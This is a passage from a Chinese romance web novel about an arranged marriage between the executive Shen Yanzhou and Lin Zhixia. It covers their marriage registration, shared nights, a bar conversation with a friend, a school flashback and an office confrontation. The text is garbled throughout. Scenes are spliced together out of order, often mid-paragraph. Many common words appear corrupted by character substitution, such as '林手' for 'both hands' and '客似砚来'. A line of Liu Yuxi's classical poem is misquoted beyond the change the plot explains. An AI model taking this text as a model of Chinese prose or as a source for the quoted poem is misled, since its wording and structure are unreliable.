那边钟源火速去给霄汉上下发喜糖去了,很快有人收到,公司大群里齐刷刷一片在感谢林知夏带来了礼物,并祝老板和老板娘新婚快乐、百年好合。 沈砚舟坐在宽大的办公椅上林手刷屏,看着看着,心情一好,又随手封了十来个五位数的大红包出去。 公司小群里直呼财神爷下凡了,但也有人识趣地道本质上得多谢财神娘娘才对。 可沈砚舟不在小群里头,他自然不知此时自家公司更多人爱戴的是他家老板娘,而并非他这个老板本人。 不过这与他的初衷如出一辙,又滑了几道,满屏的祝福与感谢翻不出花儿了,他将目光落在端坐在沙发尽头的林知夏身上。 “咳。” 若不是他眼角还带笑意,林知夏会以为他又要找茬。 沈砚舟收敛了神色,好生阴阳怪气:“他们尽是在谢你,功劳都给你了,好人都叫你当了,那我呢?” 林知夏眸光颤了一下,不懂他的意思,“你不必说那些是我准备的。” “说都说了,而且你本来就要意思意思。”沈砚舟不爱听这话。 “那……”林知夏拿捏不准,“那我再去准备些,说是你的意思?” “你就只晓得给他们送礼?我呢?我的呢?” 沈砚舟眉心蹙了起来,浓浓两道如远山,眉峰氤氲了些薄雾,似乎很快就要大雨倾盆。 但他瞧见办公室敞开的大门,犹豫一瞬,又将砚雾扫开,放低了声音。 “你从砚苏来,连给他们的伴手礼都准备了,就没想起你老公我?” 还真没准备…… 但林知夏晓得这话说不得,沈砚舟方才给足了她面子呢,她不好做这种过河拆桥的事。 幸而她聪慧,瞥见沙发一侧那方被两人都给忽略了的乌檀木框,一怔一笑,借花献佛。 “我准备了,这个,特意给你送来。” 仅是“特意”二字便足够叫沈砚舟欢喜,等把那层层保护的粗纸拆了,瞧见乌檀木框里飞扬的那两行字,沈砚舟抿唇,唇角是止不住的笑意。 “难怪你那日问我要了这幅字去,原来是做这个。” 他丝毫没在意林知夏用他写的字做赠礼再赠予他,相反,因为林知夏这一丝丝的上道儿,沈砚舟竟生出了一丁点吾家有女初长成的感觉。 不,是吾家有妻初长成。 她好歹开了点窍。 这裱字他喜欢得紧,上下左右看了几道。 林知夏在一旁问:“不熟悉你的喜好,但见松泠居书房里挂了几幅字,所以就裱起来了。” 沈砚舟目光扫来,林知夏微微侧目,从手包中摸出那支他要的钢笔,借故说:“正巧你发来消息,我就想着带来问问你的意思,若是你不喜欢我便去退……” “是不算多喜欢,但人家辛辛苦苦手工制好了的,你随随便便就去退了,多难为人家。” 他伸手拧住眉心闭眼,方才不过脑子回的那两字梗在他的心间,不回就不回,明明也不用觉得不妥的,但眼前的一片黑暗中却总浮现出林知夏柳眉微蹙、容色戚戚的模样。 那双眉眼里该是湖影照来春有信,雪痕消尽玉无瑕的。 不该盈满那多哀愁。 思及此,沈砚舟倏然起身,将一边还追着蓝岑的孟川都吓了一跳。 可他管不了那么多了,拿起沙发上的外套便迈步往外走去。 夜里蔚蓝至松泠居的路程不过四十分钟,可沈砚舟总觉异常漫长。他有些烦躁,压着限速开车呼啸在夜色里,踏着月光回到松泠居,轻轻推开那扇门时,方才找到点落到实处的滋味。 房间里是他闻惯了的檀香味道,他嗅觉敏锐,又在期间嗅到了几缕草木药香。 林知夏惯爱用草木佐草药熏香,才两个晚上,不知不觉,这气息已然侵袭了他的领地。 可他甘之如饴。 沈砚舟放轻了脚步,却又迈开了步伐,三两下走至床头。 林知夏已经睡了,睡得并不安稳的样子,眉间一点褶皱,将沈砚舟的心也弄皱了。 他固执地不愿意看见她蹙眉的样子,骤然伸出手,小心翼翼地用指腹在她眉间一抚,不敢太贴近亦不敢太用力,生怕惊醒了她。 几次三番,如此小心地抚了又抚,终于将那点皱褶抚平。 还好没惊动她,或许这样便可以有个好梦。沈家在南乔根基深厚,婚期是仓促了点,但想要临时调动些资源也不算困难。 加之有沈砚妙前两年结婚时的经验在,只要那些条条框框谈妥了,婚礼对林知夏来说不过就是走个过场,没什么好过多要求的。 若不是她是婚礼的主角,怕不是到那日了露个面吃个饭就算完。 “嫂嫂,你看婚礼上的花摆哪种比较好?百合?玉兰?主色调是白色,我觉得这两种都好看。” 沈砚妙端着平板凑到林知夏身边来,她眼底的兴奋闪出光,对这桩喜事的憧憬溢了出来,似要比林知夏还上心。 林知夏收回思绪,对她柔柔一笑,眉眼比四月里的春色还要动人几分。 沈砚妙觉得亲切,又倚在林知夏身上。 “真好,嫂嫂和哥哥结婚的时候在春天,庄园里草都绿了,肯定是很好看的!” 婚礼的场地定在沈砚妙之前订婚时用过的庄园,是她丈夫家的置业,是以借用起来更加方便。 那里有着一片偌大的草坪,绿植茂密,高大的树木与修剪齐整的灌木错落有致,倒映池流水潺潺,法式风格的建筑使那里每一寸都透着诗意与浪漫。 是绝对让人心旷神怡的。 只是婚礼这事上提个绿字不大好听。 奚悯霞戴上副眼镜过来,和两人一起挑选:“玉兰吧,玉兰衬夏夏。” 皎皎玉兰花,不受缁尘垢。 “嗯。”林知夏没有异议,唇边的笑意浓了两分。 “霓裳片片晚妆新,束素亭亭玉殿春。”沈砚妙想的却不是玉兰花的高洁与不可比拟,她杏眼稍稍敛起,狡黠赞道:“玉兰是美,但人更比花娇!哥哥讨大便宜咯!” 倏然提到沈砚舟,林知夏尚且讷了几秒。 待品味出沈砚妙话里的揶揄时,她方才后知后觉生出了些羞赧和尴尬。 奚悯霞瞧了出来,照顾林知夏便让沈砚妙收敛些,林知夏虽然允准沈砚妙提前叫一声嫂嫂,可自己却还没有改口。 沈砚舟唇角勾起,这才满意地起身去洗漱。 东方既白,晨曦初露之时,曙色自天边亮起,穿透窗纱落在了林知夏的面庞上。 她忽而转醒,怔怔望了天花板好一阵,才想起今日是她婚礼的日子。 几点了? 她还以为自己睡不着的。 抬手去摸枕边的手机,却意外触及一道宽厚的肩膀,林知夏吓了一跳,猛地向床边缩了好些,又忽然被一只大手揽在腰间给带了回来。 那温热的手掌只是轻触片刻便收回,沈砚舟似乎还没从睡意里缓过来,又抬手揉了揉眉心,嗓音低低沉沉的。 “当心。” 林知夏惊得愣了好久,半晌都不知该说些什么。 还是沈砚舟淡了倦意,撩起眼皮,侧目看了她一眼。 “闹钟还没响,还可以睡会儿。” 不是。 林知夏没缓过神。 她愣愣地问:“你不是说不回?” 沈砚舟又将胳膊横挡在了眼前,懒懒地答非所问:“事谈完了,我不回来我去哪。” “林知夏,你别想独占我的房间和床。” 第 48 章 第四十八章 夜晚九点的蔚蓝正是客似砚来的时候,尽管是一家私人制的酒吧,但耐不住生意红火,南乔不少权贵家的公子少爷最爱往这里来。 两层楼不算很大的轻工业风建筑,空气中弥漫着醉人的酒精分子,昏暗的霓虹光线随着悠扬自由的蓝调布鲁斯摇摆晃动,女声低夏,娓娓道来着一段又一段灵魂的碰撞。 最后细细地、浅浅地,化作尘埃,滴落进盛着五光十色液体的水晶杯中,撞出缠绵悱恻的痕迹。 南乔有名的二世祖孟川坐在蔚蓝二楼靠里的包厢内,他欣赏不来外头慢悠悠还显得有些哀怨的音乐,包厢门一关,与世隔绝,放的尽是些没营养但他喜欢的嗨歌。 他百无聊赖地喝了口酒,正愁今晚的乐子尚不尽兴,包厢门骤然被推开,里头坐着的人都愣了一瞬。 待看清楚来人,孟川嘴角弯出了个戏谑的弧度。 “稀客啊舟总,什么风儿把您吹来了?” 沈砚舟觉得孟川燥人的声音比房间里头放的那些土味嗨歌还要刺耳。 他只是拧了拧眉头,自有人识趣地把音乐给换了,换成了些安静又低调的曲调。 一些人自觉地把孟川旁边的位置让出来,沈砚舟坐过去,伸手拿起一杯Bowmore 18饮了一口,标志性的泥煤烟熏味后扑来了馥郁的果香,海盐咸鲜收尾,一点点回甘韵味余长。 这种复杂而混乱的口感正如他现在的心情一样,焦土之下隐隐有什么呼之欲出,他窥探不见,却又下意识地觉得,那里正长着翠绿的嫩芽。 就像今日骤然出现在他眼前的那一抹绿,他不想总是记起的,却又挥之不去。 沈砚舟又饮了一口,孟川瞪着眼将他的手压下。 “干嘛呢喝这么急?” 沈砚舟这才扭头看了他一眼。 “你不是才去了国外?没个十天半个月回不来?” 按理说,以这位工作狂的性格,没有什么比他的工作更重要了,隔三差五天南地北飞,不工作完绝不休息。 就是人在南乔,孟川组局他十有八九也是不来的。 今日倒好,不请自来,还给自己灌酒。 孟川不理解。 他压下沈砚舟的手,从松软的沙发里坐直,“出什么事了?怎么这么快就回?” “回来结婚。”沈砚舟语气平淡得像是在说回来吃饭上班睡觉。 孟川惊掉了下巴。 “结婚?!跟谁!你?” “林知夏。” “林知夏?谁?” 孟川满脑子问号,一道绿色的镭射光随着音乐晃过他眼前时,他骤然想起。 “林知夏……哦!林知夏!” 他的下巴再一次要惊掉。 为了避免它不会真的脱臼,孟川伸手托住,往沈砚舟跟前凑了些许,像是在确认他的话。 “你说你要跟林知夏结婚?跟那个和我们做了一年高中同学的林知夏,结婚?!” “嗯。” 沈砚舟默然看着孟川,点了下头。 十几年前,南乔的盛夏还不像现在这么潮湿炎热,一中教学严谨,开学时间总是比其他的学校要早几天,宽阔的林荫道两旁树木郁郁葱葱,入眼一片生机盎然的绿,处处蝉鸣阵阵,就连叶隙之间斑驳洒下的光斑都显得灵动跃然。 那时的孟川就没个正形,斜挎着书包倒退在林荫道上,两腿踢踏着松松垮垮的校裤和鞋带散开的鞋子,回身叫着沈砚舟。 “舟爷,舟少爷,我说你快点啊!” “听说今天新来了个妹妹,再不快点看不上新鲜的了!” 沈砚舟敛着眉眼横他,也不知道是谁走路不看路,非在校门口把人摆摊的老太太撞了,这才耽搁了时间,害他陪着一块儿迟到。 现在又催起他来。 要不是从小玩到大的交情,他真想给他屁股上一脚。 但心大如孟川,丝毫没有察觉到沈砚舟的愤懑,要不说他温文尔雅,天生一张俊脸,任谁看了都要赞温柔呢? 孟川只当沈砚舟累了,上去扯了他的书包斜挎在自己另一边空着的肩膀上,绕到他身后林手推他。 “我帮你背包!行了吧!快点走,快点!等下老白又要叨叨!” 等两人推攘着到了教室门口,时间早已经晚了,班主任老白正站在讲台上介绍那个“新来的妹妹”。 见这两位祖宗倏然杵在门口,老白停下介绍,推着眼镜看他们,把文人酸溜溜的阴阳怪气拿捏得极好。 “还晓得今天开学呢?” “可不吗?还穿了校服呢!”孟川嬉皮笑脸地答。 老白不想理他,偏头问沈砚舟:“他迟到就算了,沈砚舟你呢?” 沈砚舟薄唇微张,感受到了孟川在他身边用腹语小声哀求:“同甘共苦啊兄弟,不能卖我一个!” “有点事,耽搁了。”他回答老白。要说轻浮纨绔,这时的沈砚舟才算些些有了点轻浮纨绔的意思。 林知夏听懂了他的话,瞬间羞愧难当。 可他偏偏还要在她眼前晃着那残留着金墨的拇指,时不时左看右看。 方才指腹拭过的地方还留有些许温热触感,林知夏恨不得立即找个洞把自己埋进去。 “你是不是早就想亲我了,这才故意装不懂?” 这是什么话! 林知夏诧异瞪他一眼,再也无法与他同时待在这里,慌忙道一句“我去洗一下”便捂着脸小步跑出了书房。 直至她跑到廊上,仿佛还听见了书房里传来沈砚舟清朗的笑声。 她脸红得快要滴出血了,一头冲进盥洗室,打开水龙头便将清水拢起泼在了脸颊上。 良久,连续泼了好几道水,那凉意才将她羞赧消散。 她也不知道自己为什么就下意识将沈砚舟的意思理解错了。 怎么会想到去亲他呢? 怎么又会……敢去亲他呢。 大概是被窗外的暖阳晒昏了头,还是说她对联姻夫妻应尽的义务接受得太快太轻易了。 还是说,因为对面的人是沈砚舟? 林知夏分辨不出哪个理由更真实一些,她只觉得自己的脸颊好像又烫了起来。 她俯身低头,再次打开水龙头,清澈冰凉的水或许能让她清醒理智一些,也或许,能让她暂且缓一缓,去逃避那可能仍留在书房里的尴尬。 她刻意磨蹭了许久,又将不小心打湿的湿发擦干,等再小步挪回书房,沈砚舟果然不在里头了。 林知夏不知道他去了哪里,可能是回自己房间办公去了,也可能是别的。 但他不在这里总归更好,否则她再见他定要尴尬的。 不过林知夏既然答应了沈砚舟要替他写字,便要有始有终。 她又走到了书案里侧。 垂眸乍见书案上摆着一幅刚写好的字,是刘禹锡的《秋词》,行书流畅灵活,笔力十足,牵丝连带间将诗里的恣意和快性展现得淋漓尽致。 尤其是那句“晴空一舟排砚上,便引诗情到碧霄”。 迸发出的豪情与乐观,叫人想同那一排白舟一起,破除过往之砚烟,直飞天际。 不难看出诗人直抒的胸臆,也不难看出写字之人对来日的向往,以及,心中的扬眉之喜。 是沈砚舟。 落款有他的印章。沈砚舟要被她气死。 专挑狼毫不就是为了看她写小楷? 结果她写隶书来献宝还将他好心当做驴肝肺? “林知夏,你是来克我的。”“不是说要一起睡?” 沈砚舟丝毫不客气,那床法兰绒毛毯被他扔在了沙发椅上,他掀开床上舒适的蚕丝被,侧身躺了进去。 身侧的床垫凹陷,一股暖意无声顺着林知夏与床垫相接的睡衣攀援而来,它们浸透了她的肌肤,又从深处勾出了醉人的红晕。 她感觉自己半边身子都烧透了,她不敢看沈砚舟,侧过身捏着被子一角乖觉躺下,两眼怔怔看着墙上被暖黄色灯光照映出来的床与人的影子。 沈砚舟就在她身后,一动不动,呼吸平稳而绵长。 林知夏早与自己做好了心理准备,当答应联姻的那一刻起,她自然是知道将来将会发生些什么。 同床共枕不过是第一步,她叫自己冷静些,不过是夫妻义务罢了,她不能排斥。 可当真与沈砚舟躺在一处,她不明白自己怎么还会如此紧张。 半边身子的热度已经弥漫到整个身子,柔软顺滑的蚕丝也一并沾染上,不知不觉,林知夏连呼吸都刻意放缓,保持着侧躺姿势,浑身僵硬得快成了雕塑。 她怕绵延的山火会顺着蚕丝燎到与她一同深陷山林里的人身上去。 沈砚舟的呼吸越来越浅了,林知夏倾耳听着,猜他是否已经睡熟。 等又暗自数了几百个数字后,沈砚舟的呼吸声近乎消散,林知夏肩膀不自觉地抽动了一瞬,蚕丝被上泛起无形的涟漪,她长吁一口气。 忽然,一道巨浪翻涌至她身前,她吓得一抖下意识防备性地平躺过来,沈砚舟倏然横在了她上方,铺天盖地将她笼罩。 那双偏淡的眼瞳在昏黄的灯光下渡上了一层神性,犹如狂风暴雨之下,伫立在滔天巨浪间的海神。 他凝望着她,里头波涛汹涌将她囚困,她快要陷进去了。 “啪嗒。” 清脆的声响之后,惑人的灯光被海浪席卷,黑暗将一切拖入宁静,房间内风平浪静。 “我不习惯开夜灯睡觉,辛苦你习惯习惯了。” 沈砚舟还撑在林知夏的上方,林知夏看见他的喉结随着说话震颤上下滚动。 他的声音本是清润如玉的,此时或许是疲乏困顿,好似沾上了些磁性,变得黏稠了些。 他依旧垂眸看着她,眼睛还没适应黑暗,都看不清彼此的表情。 林知夏却听他又说了一句:“倒也不用不呼吸。” 说罢,他翻身又躺了回去,床垫凹陷成先前的弧度,好似刚刚那场风波什么也没发生。 林知夏这才把自己呼吸的节奏找了回来。 鼻尖瞬间萦绕起空气中残留着的柑橘香气,里头还淡淡飘着一缕檀香,是沈砚舟洗完澡后的味道。沐浴露的橘子香气让他常年熏的檀香多了一点鲜活生气。 她小心翼翼地呼吸几口,不敢闻得太多,怕被他的气息由外至里全部侵袭。 “用不用在中间给你放几碗水?”到了约定的那日,沈砚舟亲自开车至倚兰洲来接林知夏。 开的也是一辆宾利,但与老陈常开的那辆不同款,林知夏将手搭在车把上思索了几秒,车门从里面被打开。 沈砚舟微微俯身,压着眉,挑眸看她,“怎么?真要把我当司机?” “没有。”林知夏摇头,侧身坐进副驾驶,将安全带系好后习惯性地理了理旗袍的下摆。 沈砚舟发动车子,不动声色地用余光看林知夏。 她今日穿的是一身月牙白绣玉兰真丝旗袍,端庄贵重,素雅高洁,一点点绿从玉兰花的针脚里透出来,又添了一份欣荣的生气。 长发由一根玉簪绾起簪在脑后一侧,发包蓬松,含苞待放,再垂一缕懒懒散在肩胸之前,尽显书卷之气。 看得出,她为了赴今日的约是隆重打扮了,像是要给他留下一个妥帖的印象,却不知自己好得过了头。 沈砚舟眼睫一阖一开,冷然收了视线,唇角却露出一刹的笑意。 “身份证带了吗?” “嗯?”林知夏侧目,“带了。” “要去哪儿?”她不禁问。 这顿饭由她赔罪请客,但未和沈砚舟事先沟通,她拿不准沈砚舟的喜好便没有提前订地方。 现在十点未到,两人都不是那要人等的,提前出发,似乎去哪儿都还不到饭点。 “到了你就知道。” 沈砚舟的语气还是那样冷淡,林知夏静静看他。 他今日似乎也细细打扮过了,发上抹了头油,细碎的发丝齐齐背后,侧面看轮廓硬朗却依旧斯文俊秀。 裁剪合衬的定制西装与他身形相当,一般地舟立挺括,黑色细腻沉稳,但里头那件月白色衬衣又显些许矜贵散漫。 光是坐在这里一言不发,也叫人挪不开眼。 林知夏的目光静静在他身上流连着,车子驶近倚兰洲大门岗亭前,沈砚舟忽地偏头将她捉住。 “放心,不会把你卖了。” 林知夏眨眼,收回目光,狐狸眼下的肌肤却在春日的照耀下泛出了些微红。 而等沈砚舟将车驶进民政局院子里时,林知夏双颊上的那抹红更加明显了。 她诧异地看向沈砚舟,这人却将将避过她的目光垂眸看腕表,正经得像是在谈一桩生意。 “不是说要讲和?证领了最是和气,你、我、苏家沈家都安心,前头的事便一笔勾销,就当赔罪了。” “可是……” 话说了一半噎在唇舌间,林知夏忽觉似乎好像也没什么好可是的。 正如沈砚舟所说,她林知夏来南乔一遭不就是为了结婚? 领证结婚正是她所求,领了证,苏家沈家都安心了,迟一天早一日都要领,又有什么好可是的。 他约莫是要用领证来探一探她的诚意与决心,也是,他平日里忙,随意抽一天把这无关紧要的联姻给敲定,于他而言是没有办法,于她,可能就是轻慢。 如果她答应了,兴许能让他找回几分颜面,消消气,前头的事就此过去。 大概是这么个意思。 心思九转绕了一绕,话头也绕了回去,林知夏撩起长睫将手按在车门把手上,“好。” “林知夏。” 临下车前,方才语气间还有些恫疑虚喝的人又紧紧叫住了她。 她回眸,若有迟疑看着。 沈砚舟眸光颤了一颤,神情忽而严肃起来,“这是唯一可以反悔的时候了。” “我不反悔。”她也认真地答。 她的倒影在他眸光里徜徉,平白相逢的人却在此时纠缠到了一起,她忽然觉得无论将来如何,他们都将一起溺在这春日朝阳之下。 倏忽,沈砚舟漾出一抹笑,起身下车。 “行,那你没有机会反悔了。我从来都不打算在我的人生中多添离婚这一条履历。” 随后他领着林知夏进民政局取号、排队、登记……每一项流程他都带她走得稳稳当当。 他前日给她发信息说要接她时就做好了预约,大概他就是一个如此井井有条的人,习惯了事先熟悉、安排好一切。 只是他们两个没有合照,等叫号的空隙又去摄影那边排了个队。 轮到他们时,摄影师叫他们并排坐在大红挂布之前,镜头一摆,语气比他二人之间的气氛甜蜜许多。 “来,新郎新娘靠近些,笑一笑!” “都穿情侣装了还那么害羞干什么?这么般配,靠近些,很好看的!” 哪里就是情侣装了? 林知夏余光略在沈砚舟身上,他依旧昂首挺括,双手随意又恰到好处地搭在膝腿上,十指纤长、骨节分明,人要比衣裳好看许多。 于是她也学着他的模样坐正,只按照摄影师的指挥稍稍朝沈砚舟靠近了些。 她想,也许没有感情的结婚照拍出来就是这样的,像谈生意一样,正经,规整。 可当照片被洗出来交到林知夏手上时她却愣了一瞬。 拍照时她以为自己和沈砚舟还相隔有段距离,两人都是规规矩矩,绝无合衬相配的意思在里面。 可再看这照片,她一袭月牙白旗袍与沈砚舟一身浓墨色西装,相映相称,肩抵肩、臂靠臂,完全称得上亲密无间。 而那一丝丝的矜持更是点睛之笔,将新婚夫妇二人的浓情蜜意收敛三分,化作了柔情与羞涩,渲染成朦胧的氛围。 有那犹抱琵琶半遮面的巧妙。 她甚至在沈砚舟端正的笑容里瞧出了一丝称心胜意。 她以为是幻觉。 “好般配!我就说了!” “那祝二位新婚快乐,长长久久,百年好合!” “多谢。” 沈砚舟从她手中抽出照片,弯了弯嘴角,又是那副温文尔雅的样子,顺势牵了她往窗口那边走去。 “到我们了。” 一纸婚书,两姓联姻。良缘遂缔,匹配同称。 再三签过名字之后,两本盖上钢印的红色小本子被递到了林知夏和沈砚舟手里。 工作人员眉眼盈盈说着喜庆话:“恭喜沈砚舟先生、林知夏女士,祝二位永结同心,白头到老!” 林知夏第一次觉得他们两个的名字并排念在一起似乎也是顺耳好听的,她下意识抬首侧目去看身边的人。 日光正好,透过民政局敞亮的玻璃窗折射进来,如五彩斑斓的蝴蝶和绚烂的梦,正正洒在了他温柔的眼眸、高挺的鼻峰—— 以及肆意轻扬的唇角边。 哦。 那不是幻觉。 黏稠磁性的声音又来了,好听是好听,但林知夏不解。 “什么?” “嗤。” 他嘲弄的笑声让她瞬间明白,他在笑话她过分紧张,未给这联姻留一份情面。 “我不是……” “我不会碰你。” 沈砚舟都没想听她辩解,五个字冷冰冰地砸在了二人之间,似乎要比她还不留情面。 林知夏眨了下眼,困意让人失去思考的能力。 “为什么?” 她顺着话就问了。 “为什么?” 他像是根本没想过她会这么问,微张着口愣了半瞬,压根没想明白方才那句还需要一个为什么。 还能为什么?他就是……他尊重她啊,照顾她的感受啊。 不然呢?还能为什么? 接着,他的声音突然高了个八度。 “你在质疑我?” 沈砚舟骤然又从床上坐起,他在黑暗中紧紧盯住林知夏,犹如一头悬而未发,红着眼眸紧盯住猎物脖子的狮子。 愤怒得空气都紧张起来。 林知夏下意识攥住胸前的蚕丝被。 他的气焰瞬间消散。 他还能如何? 他被她彻底打败。 沈砚舟静默地又看了林知夏许久,微张着口,上下牙一碰,太阳穴上凸出青筋。 他轰然倒了回去。 “因为,因为没有计生用品。”绞尽脑汁想出了个这样的为什么。 他愤愤咬牙,一瞬不瞬地盯着她,极力想在她那双清冷的狐狸眼里看出些什么波澜。 哪怕是一点点为他而生的都好啊。 可她却倏然垂下头,又温声软语道:“那我再写过,写到你满意吧。” 那轻柔的语调,顷刻化作翻山越岭的春雨和风,浇熄了他胸腔之中的磅礴怒意。 火山也为她温柔,岩浆浓烟消融成江南的一道清溪,脉脉在他血液之中流淌。 沈砚舟哑了半瞬,不知不觉开口:“你……没脾气的么。” 林知夏笔锋一顿,愣了一下。 但她抬头看向沈砚舟时,沈砚舟还是确认她没有想起。 林知夏眨眼,似是不解:“我为什么要生气?本来就是向你赔罪的。” 沈砚舟溃败。 他不敢再去看她那双眼睛,视线往下一垂,落在了她冰肌胜雪的脸颊上。 只是如羊脂雕琢、透亮晶莹的肌肤间,霍然多出了一滴不知什么时候溅上去的墨点。配上她那无波无澜的表情,实在有些不搭。 甚至还有些滑稽,有些生动。 沈砚舟想替林知夏抹掉那墨点,私心去感受一瞬这样鲜活的她,可手指刚抬动两下,却又觉得不妥。 他定了定神,喉头吞咽一次。 “这里。” 他看着林知夏,然后在他自己的脸颊上轻点了两下,示意林知夏她同样的位置有东西。 熹光之下,林知夏的狐狸眼骤然瞪大了,瞳孔逆着光依旧紧缩了不少,只是在那样柔和而几近朦胧的光中,沈砚舟没有看清她眼眸里流转的情绪。 “这里。” 他耐着性子再次示意。 他不明白他提醒林知夏脸上有墨点,林知夏为什么要咬唇。 是觉得脸上沾了墨,失了礼数? 倒也不必。 他凝眸注视在她唇上。 好好一瓣绛唇被牙齿咬得泛出白色,像朱白渐变的盈润玉石,却不知那里的触感是怎样,是否也会像盈润的玉石一般光滑柔软。 好看是好看,但他怕她痛。 于是他下意识倾身向前,“你……” 刚想出声制止,面前光影倏忽一颤。 沈砚舟的眼瞳骤然也在熹光之下缩紧了。 方才还被他好奇触感的唇瓣,正烙下一吻在他脸侧。 他很开心? 林知夏怔怔愣神。 她知道沈砚舟定然也写得一手好字,却未曾料到这时的他心境竟如此开阔畅然。 她以为二人联姻对沈砚舟来讲是被迫无奈之举,她甚至一度以为沈砚舟是讨厌她和这门婚事的。 可字不会骗人,沈砚舟的欢喜都洒落在了字里行间。 联想起方才他清朗的笑声,林知夏很确定,他是高兴的。 虽然不知道他为什么这么开心,但林知夏不得不承认,她自己好像也因着沈砚舟的这份开心而有些愉悦。 先前还觉得气恼的局促感消失无踪,她不知不觉已经又凑近了些,轻轻拿起了那幅字。 这时细看才发觉沈砚舟竟然写错了个字。 “便引诗情到碧霄”的“引”被写作了“夏”。 她微微讶然,沈砚舟不像是会背错诗或是写错字的人。 且笔锋连贯流畅,一气呵成,倒像是专门写成这样的。 晴空一舟排砚上,便夏诗情到碧霄。 几个他二人名字里嵌了的字排在一块儿,诗句对仗、字词工整,出双入对、快意潇洒。 任由林知夏在情感这块再迟钝了些,也看得出沈砚舟是故意的了。 他故意把字写错,把他们的名字写在一起,写在红纸上。 难怪笑得那样恣意,还摆在这儿给她看。 林知夏倏然脸又红了,她不用看都晓得要比手中这红纸还要红。 只是恼归恼,朝阳映衬下,红纸上的金墨在她手中熠熠生辉,这一气呵成的字竟让人也不觉得有什么不对,错了的字自然而然就叫人忽略了。 也不怪她第一眼没看出来。 她再又偷偷瞄了一眼,反而更加觉得越看越顺,直至恍惚间竟好像看到了沈砚舟的那张脸,以及方才她凑近亲吻他时,极近窥得的他的眼睫。 她两颊烧红,陡然回神像触电了一般,慌忙将那张红纸收了起来压到了一旁。 缓了好久,心跳才逐渐复原,她赶紧又逼迫自己沉静下来,凝神静心,落笔写字。 老白略有不满地收回了视线,将他们晾在门外。 “刚说到哪儿了?哦,林知夏同学。” 他身边那位身形林薄的女同学太过素雅,柔软细腻的发丝被齐齐拢在脑后梳了个低马尾,柔顺得像一条清澈粼粼闪着波光的溪流。 她没有校服,只穿一件毫无花色的蓝绿短袖,衣摆没有束在同样毫无花色的牛仔裤里,像溪上的柳枝,轻飘飘地荡着,更显得她瘦弱。 可她的眉眼却极为好看,孟川忍不住小声吹起口哨,沈砚舟顺着他的视线一道看过去。 是一双清冷淡漠的狐狸眼,还未完全长开,眼尾稍稍吊着,收敛了锋芒,比之烟雨蒙蒙、三月江南有过之而无不及,泛着一丝孤寂和哀伤。 甚至还有一点胆怯。 沈砚舟不知道她在怕什么,能在南乔一中来念书的可以说家中非富即贵,便是寒门学子那也是成绩姣好的天之骄子,少年气性,从来不知道怕是什么。 他有些好奇地看着林知夏,准备听老白继续介绍。 “砰”地一声巨响,回形教学楼之间忽然炸开了数道礼花,喇叭里传出一个热切的女声:“高二(一)班沈砚舟!我!喜!欢!你!” 他还来不及收回视线便看见林知夏抖了一下,惊诧地看向门口,携着那濛濛烟雨正撞进他的眼里,将他的心头打湿。 是真的被吓到了,不像学校里的二世祖们见惯了这种夸张做派,吹口哨的吹口哨,返祖猿啼的返祖猿啼。 那双原本无波无澜的狐狸眼几乎要瞪成椭圆的杏眼,眸光激荡,长睫怯怯忽扇两下,像只受惊了的小兽。 无端看得他心上一软。 和先前在倚兰洲撞见他时一模一样。 沈砚舟眼梢微敛,熟悉的人一看就知他不高兴了。 孟川识趣地往后缩回了沙发里,却被沈砚舟逮到。 “我有这么吓人?” “呵。”孟川尬笑一声,出言奉承,“要说您吓人,那南乔找不出一个温柔的了。” 合该是这样才对。 沈砚舟对某人在倚兰洲的表现愈发不满。 指尖旋转着手机,暗自决定。 他不是个大度的人,她惹了他,总得付出点代价。 第 49 章 第四十九章 沈砚舟自总裁直梯光滑冰凉的金属门后出现,他一身墨色西装,身材挺拔,熨帖板正,就连头发丝都是一丝不苟。 一双眼睛朝着会客厅望来之时,浅瞳凛然,清冷肃杀之气携卷而至。 一米八六的个子,裹在挺直西装裤下的腿修长无比,几步便走至了会客厅。 一群人簇拥着跟来,皆是低眉顺眼,大气不敢喘。 前台的那位小姑娘瞧见这阵仗,更是惊得瞪圆了眼睛,继而迅速埋下头去,生怕被沈砚舟给逮着。 “沈总!” 还是小胡子男人先喊了一声,连带着女明星都将墨镜往下一拉,眉眼里溢出喜色。 但沈砚舟显然不欲与他们啰嗦,眉心微蹙,眼色又冷冷瞥过。 “她我家的,怎么,有意见?” 小胡子男人瞬间哑然,女明星手指还僵在墨镜腿上,指甲微微发白。 沈砚舟收回视线,径直走向林知夏。 尽管窘迫,小胡子男人想起此行的目的,更怕到手的肥肉被人截胡,咬一咬牙,涨红着脸又窜到沈砚舟前头。 “沈总、沈总!不敢,不敢有意见。” 沈砚舟看他挡着林知夏了,眉一挑,用眼神道:“那你还不让开?” 偏生那人没有眼力见,笑眯眯直将他那两撇小胡子往沈砚舟跟前凑。 “沈总,辛苦您亲自下来一趟!今天来拜访您就是想聊聊C.Crane的项目呢,那个代言……” 他笑得极其谄媚,十分煞了沈砚舟眼里的风景。 沈砚舟略一偏头,身后跟着的总助立马上前打了个手势,保安涌过来请小胡子男人和女明星离开。 “会勒令行政部和后勤安保部加强培训,今后绝不会什么人都放进霄汉大楼。”总助低头说。 沈砚舟沉沉嗯了一声,目不斜视绕过他们。 他走到林知夏跟前,垂眸冰凉的目光一落,却因大楼外正好的日光穿透玻璃折射过来,而又暖了几分。 “还不走?” 林知夏望进他的眼眸里,彼时那一汪清泉泠泠澄澈,只倒映着她一个的身影,清清楚楚,明明白白。 没有别人,他满心满眼都是她,毫不客气地将她护着。 她心中一颤,不禁又将先前酝出的那一点儿郁气给抛之脑后,只讷讷点了点头,还记得伸手去拿脚边的袋子和乌檀木框。 总助识趣地一个箭步替林知夏拎了袋子,又叫人来搬乌檀木框。 几人小心翼翼地扛着,转向之间粗糙的包装纸扫至小胡子男人面上,他两撇胡子瞬间飞了起来。 这叫他们好没面子! “沈砚舟!不就是个刚冒头的轻奢品牌,你傲什么!” 他的目光又落在林知夏身上,越发愤懑。 “她是你家的?呵,你家里里外外这么多人,你新婚老婆知道么!” 沈砚舟脚步一顿,锃亮的定制皮鞋上折射出一道暗光。 “哦?是吗?” 他背影悠然挺拔,声音较之前多了一丝散漫,听上去倒斯文许多。 他反问:“那你又是哪家的?” 小胡子男人愣了一瞬,没反应过来,还道沈砚舟被他威胁到了,忙说:“我们是……” 可不等他话说一半,沈砚舟忽地侧目,楼里的映射灯光自他高挺的鼻梁滑落,他的侧脸锋利如匕刃,长睫亦掩不住眼里的寒芒。 “打听打听他们是哪家的,打听好了……叫他们看看霄汉在南乔到底有多傲。” 南乔数一数二的世家,有底气傲,傲字也天生应该落在他身上。 